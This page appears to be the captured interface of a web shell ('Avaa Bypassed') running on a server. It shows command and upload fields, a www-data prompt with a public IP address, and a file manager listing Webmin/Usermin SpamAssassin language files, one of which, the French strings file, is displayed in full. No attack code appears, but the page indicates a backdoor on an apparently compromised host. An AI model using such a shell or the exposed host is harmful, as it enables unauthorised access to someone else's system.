[ Avaa Bypassed ]




Upload:

Command:

www-data@18.117.11.129: ~ $
index_unknown=inconnue
index_edb=Impossible de se connecter à la base de données de configuration SpamAssassin: $1. Vérifiez la <a href='$2'>configuration du module</a> pour vous assurer que vous utilisez les bons paramètres.
index_spamassassin=SpamAssassin
index_ecannot=Vous n'êtes pas autorisé à gérer le fichier de configuration de SpamAssassin $1 

white_addr2=Adresse du destinataire
white_rcvd2=L'expéditeur ne doit jamais être classé comme spam
white_tabham=Adresses autorisées
white_tabspam=Adresses refusées
white_tabsome=Adresses de destination
white_tabimport=Importer des adresses

score_trusted=Réseaux et hôtes de confiance
score_bayes=Utiliser le classificateur d'apprentissage bayésien?

report_safe2=Oui, en texte brut

header_switch=Passez en mode simple ..
header_eclash=Le nom du test '$1' apparaît plusieurs fois
header_eregexp2=Expression manquante pour le test '$1'
header_eflags='$1' ne sont pas des indicateurs d'expression régulière valides

setup_email=Transférer à l'adresse e-mail

setup_eemail=Adresse e-mail manquante ou invalide

log_procmail=Configuration Procmail modifiée
log_manual=Fichier de configuration modifié manuellement

acl_file=Fichier de configuration de SpamAssassin à modifier
acl_filedef=Fichier de configuration globale
acl_awl=Utilisateurs autorisés pour la modification de la liste blanche automatique
acl_awl0=Tous les utilisateurs
acl_awl1=Uniquement les utilisateurs répertoriés $1 
acl_awl2=Uniquement les membres des groupes $1 

amavisd_title=Amavisd Spam Delivery
amavisd_desc=Le formulaire peut être utilisé pour modifier la configuration d'Amavisd qui détermine ce qui arrive aux messages classés comme spam.
amavis_ok=Modifier la livraison d'Amavisd
amavis_tab_config=Configuration d'Amavisd
amavis_tab_quarantine=Spam Quarantine
amavis_warn=Si vous utilisez Amavisd pour le filtrage anti-spam, certaines options seront ignorées.
amavis_econfig=Le fichier de configuration Amavisd $1 est introuvable sur votre système. Peut-être qu'Amavisd n'est pas installé ou que la <a href='$2'>configuration du module</a> est incorrecte.
amavis_hits=Résultats au-dessus desquels un message est considéré comme du spam.
amavis_ehit=Les coups au-dessus desquels un message est considéré comme du spam ne sont pas une valeur!
amavis_ekill=Les coups au-dessus desquels un message de spam est mis en quarantaine n'est pas une valeur!
amavis_edsn=Les coups au-dessus desquels aucune notification n'est envoyée à l'expéditeur ne sont pas une valeur!
amavis_ecut=Les coups au-dessus desquels un message de spam est supprimé ne sont pas une valeur!
amavis_eheader=Valeur pour Modifier l'objet: l'en-tête n'est pas une valeur!
amavis_esize=La valeur de la taille au-dessus de laquelle un message n'est pas vérifié pour le spam n'est pas une valeur!
amavis_echar=Un seul caractère doit être saisi pour l'en-tête X-Spam-Level:
amavis_esubject=Valeur pour ajouter du texte à l'objet: l'en-tête n'est pas une valeur!
amavis_elocal=La valeur pour désactiver les sources Internet n'est pas une valeur!
amavis_quarantine_level=Résultats au-dessus desquels un message indésirable est mis en quarantaine.
amavis_dsn_level=Résultats au-dessus desquels aucune notification n'est envoyée à l'expéditeur.
amavis_delete_level=Résultats au-dessus desquels un message de spam est supprimé.
amavis_report_header=Insérer X-Spam-Header dans le message Spam?
amavis_level_char=Caractère utilisé pour afficher le niveau de spam dans l'en-tête X-Spam-Level :.
amavis_rewrite=Modifier le sujet: en-tête de spam?
amavis_rsubject=Ajouter le texte à l'objet: en-tête
amavis_size_limit=Taille du message en octets au-dessus de laquelle un message n'est pas vérifié pour le spam.
amavis_local_only=Désactiver les sources Internet pour les contrôles anti-spam?
amavis_quarantine_desc=Afficher où le spam est mis en quarantaine par Amavisd, afficher également les statistiques du spam si la quarantaine locale est activée. Si la quarantaine est désactivée ou transmise à une adresse e-mail, les statistiques du spam ne peuvent pas être affichées.
amavis_quarantine_off=La mise en quarantaine du spam est désactivée sur votre système. Remplacez <tt>spam_Quarantine_to</tt> par <tt>spam-quarantine</tt> dans le fichier <tt>$1</tt> pour activer Quaratine.
amavis_nostat=Il n'est pas possible d'afficher les statistiques de spam.
amavis_spam_admin=Adresse e-mail d'où les notifications sont envoyées (administrateur du spam)
amavis_quarantine_mail=Le spam en quarantaine est transmis à l'adresse e-mail
amavis_quarantine_bsmtp=Le spam est mis en quarantaine au format BSMTP sur le système de fichiers local comme
amavis_quarantine_local=Le spam est mis en quarantaine au format MBOX sur le système de fichiers local comme
amavis_quarantine_today=Spam mails en quarantaine aujourd'hui (24h)
amavis_quarantine_week=Spam mails en quarantaine cette semaine (7 jours)
amavis_quarantine_month=Spam mails en quarantaine ce mois-ci (30 jours)
amavis_quarantine_total=Nombre total de spams en quarantaine

procmail_title=Procmail Spam Delivery
procmail_ok=Modifier la livraison Procmail
procmail_desc=Le formulaire peut être utilisé pour modifier la configuration de Procmail qui détermine ce qui arrive aux messages classés comme spam.

simple_title=Tests d'en-tête et de corps
simple_desc=Cette page vous permet de définir des tests supplémentaires que SpamAssassin appliquera aux e-mails, en fonction des en-têtes de message, du contenu du corps et des URL trouvées dans le corps. Le nom attribué à chaque test dépend de vous, mais est généralement quelque chose comme CONTAINS_FOO.
simple_switch=Passer en mode avancé ..
simple_header=Tests de message à appliquer
simple_name=Nom du test
simple_for=Vérifier
simple_regexp=Expression de correspondance
simple_score=Score à appliquer
simple_describe=La description
simple_err=Échec de l'enregistrement des tests de message

before_ecmd=Échec de la commande avant l'enregistrement : $1 
after_ecmd=Échec de la commande après l'enregistrement : $1 

connect_emysql=Impossible de charger le pilote de base de données $1 
connect_elogin=Impossible de se connecter à la base de données $1:$2.
connect_equery=La base de données $1 ne contient pas la table de préférences $2 
connect_eldapmod=Le module Perl $1 nécessaire pour communiquer avec LDAP n'est pas installé ou ne peut pas être chargé
connect_eldap=Impossible de se connecter au serveur LDAP $1 sur le port $2 
connect_eldaplogin=Impossible de se connecter au serveur LDAP $1 en tant que $2 : $3 
connect_ebase=Le DN de base LDAP $1 n'est pas valide : $2 

eldap=Échec de l'opération LDAP : $1 
esql=Échec de SQL : $1 
ldap_euser=Impossible de trouver l'objet utilisateur LDAP pour $1 

db_title=Bases de données SQL et LDAP
db_header=Options de base de données de stockage de configuration
db_dsn=Stocker les configurations utilisateur dans
db_mode0=Fichiers de configuration
db_mode1=Base de données SQL
db_mode3=Base de données LDAP
db_mode4=Autre DSN
db_user=Nom d'utilisateur de la base de données SQL
db_pass=Mot de passe de la base de données SQL
db_luser=Nom d'utilisateur du serveur LDAP
db_lpass=Mot de passe du serveur LDAP
db_dbdriver=Type de base de données
db_dbhost=Nom d'hôte du serveur de base de données
db_dbdb=Nom de la base de données
db_dbport=Numéro de port
db_err=Échec de l'enregistrement des bases de données
db_edbhost=Nom d'hôte du serveur SQL manquant ou non valide
db_edbdb=Nom de base de données manquant ou non valide
db_edbport=Numéro de port du serveur SQL manquant ou non valide
db_edsn=Autre DSN manquant
db_eusername=Nom d'utilisateur de base de données manquant ou invalide - aucun espace n'est autorisé
db_ldaphost=Nom d'hôte du serveur LDAP
db_ldapport=Numéro de port
db_ldapdn=DN de base pour les utilisateurs
db_ldapattr=Attribut pour les préférences de SpamAssassin
db_ldapscope=Profondeur de recherche
db_ldapsub=Sous-arbre entier
db_ldapone=Un niveau
db_ldapbase=Base uniquement
db_ldapuid=Attribut pour le nom d'utilisateur
db_eldaphost=Nom d'hôte du serveur LDAP manquant ou non valide
db_eldapport=Numéro de port du serveur LDAP manquant ou non valide
db_eldapdn=DN de base manquant ou invalide - aucun espace n'est autorisé
db_eldapattr=Attribut SpamAssassin manquant ou non valide
db_eldapuid=Attribut de nom d'utilisateur manquant ou non valide

awl_title=Gérer les listes blanches automatiques
awl_search=Rechercher dans la liste blanche:
awl_ok=Chercher
awl_searching=Affichage des entrées de liste blanche automatique correspondant à $1 ..
awl_email=Adresse électronique
awl_ip=IP ou réseau de l'expéditeur
awl_count=Messages reçus
awl_score=Score à appliquer
awl_none=Aucun
awl_unknown=Inconnue
awl_delete=Supprimer les entrées sélectionnées
awl_white=Autoriser définitivement
awl_black=Refuser définitivement
awl_cannot=Usermin n'a pas pu ouvrir votre fichier de liste blanche automatique <tt>$1</tt>, peut-être parce qu'il est dans un format non pris en charge.
awl_empty=Votre fichier de liste blanche automatique <tt>$1</tt> ne contient aucune entrée. Il sera rempli par SpamAssassin lorsque le courrier sera traité par le système.
awl_user=Afficher la liste blanche automatique pour l'utilisateur:
awl_uok=Spectacle
awl_nofile=L'utilisateur $1 n'a pas de fichier de liste blanche automatique.
awl_nouser=L'utilisateur $1 n'existe pas.
awl_cannotuser=Vous n'êtes pas autorisé à modifier la liste blanche automatique pour l'utilisateur $1.
awl_toomany=Il y a $1 entrées dans la liste blanche automatique, mais au plus $2 peut être affiché. Utilisez le formulaire de recherche ci-dessus pour limiter ceux affichés.
awl_deleteone=Effacer la liste blanche automatique
awl_deleteonedesc=Supprimez toutes les entrées de liste blanche automatique pour l'utilisateur $1.
awl_deleteall=Effacer toutes les listes blanches automatiques
awl_deletealldesc=Supprimez toutes les entrées de la liste blanche automatique pour tous les utilisateurs du système.

dawl_err=Échec de la suppression de la liste blanche automatique
dawl_eopen=Impossible d'ouvrir la liste blanche
dawl_enone=Aucune adresse à supprimer sélectionnée
dawl_ecannot=Vous n'êtes pas autorisé à gérer la liste blanche automatique pour cet utilisateur
dawl_doing=Suppression des listes blanches automatiques pour tous les utilisateurs.
dawl_done=.. supprimé $2 entrées de $1 utilisateurs.
dawl_title=Supprimer toutes les listes blanches automatiques

manual_title=Modifier les fichiers de configuration
manual_file=Modifier le fichier de configuration:
manual_ok=D'accord
manual_efile=Fichier de configuration non valide!
manual_err=Impossible d'enregistrer le fichier de configuration

Filemanager

Name Type Size Permission Actions
af.auto File 23.81 KB 0644
ar.auto File 33.78 KB 0644
be.auto File 39.4 KB 0644
bg.auto File 39.59 KB 0644
ca File 26.02 KB 0644
cs File 18.78 KB 0644
cs.auto File 5.93 KB 0644
da.auto File 23.61 KB 0644
de File 25.76 KB 0644
el.auto File 43.71 KB 0644
en File 21.81 KB 0644
es File 6 KB 0644
es.auto File 20.55 KB 0644
eu.auto File 24.12 KB 0644
fa.auto File 34.11 KB 0644
fi.auto File 25.36 KB 0644
fr File 17.12 KB 0644
fr.auto File 10.53 KB 0644
he.auto File 28.58 KB 0644
hr.auto File 24.75 KB 0644
hu File 18.7 KB 0644
hu.auto File 3.6 KB 0644
it.auto File 25.39 KB 0644
ja.auto File 30 KB 0644
ko.auto File 26.26 KB 0644
lt.auto File 25.89 KB 0644
lv.auto File 25.22 KB 0644
ms.auto File 23.63 KB 0644
mt.auto File 25.33 KB 0644
nl File 20.97 KB 0644
nl.auto File 3.23 KB 0644
no File 23.27 KB 0644
pl.auto File 25.97 KB 0644
pt.auto File 26.16 KB 0644
pt_BR.auto File 26.16 KB 0644
ro.auto File 25.56 KB 0644
ru File 28.41 KB 0644
ru.auto File 12.85 KB 0644
sk.auto File 25.66 KB 0644
sl.auto File 24.64 KB 0644
sv.auto File 24.21 KB 0644
th.auto File 47.22 KB 0644
tr.auto File 24.79 KB 0644
uk.auto File 38.33 KB 0644
ur.auto File 34.54 KB 0644
vi.auto File 29.63 KB 0644
zh.auto File 20.84 KB 0644
zh_TW.auto File 20.82 KB 0644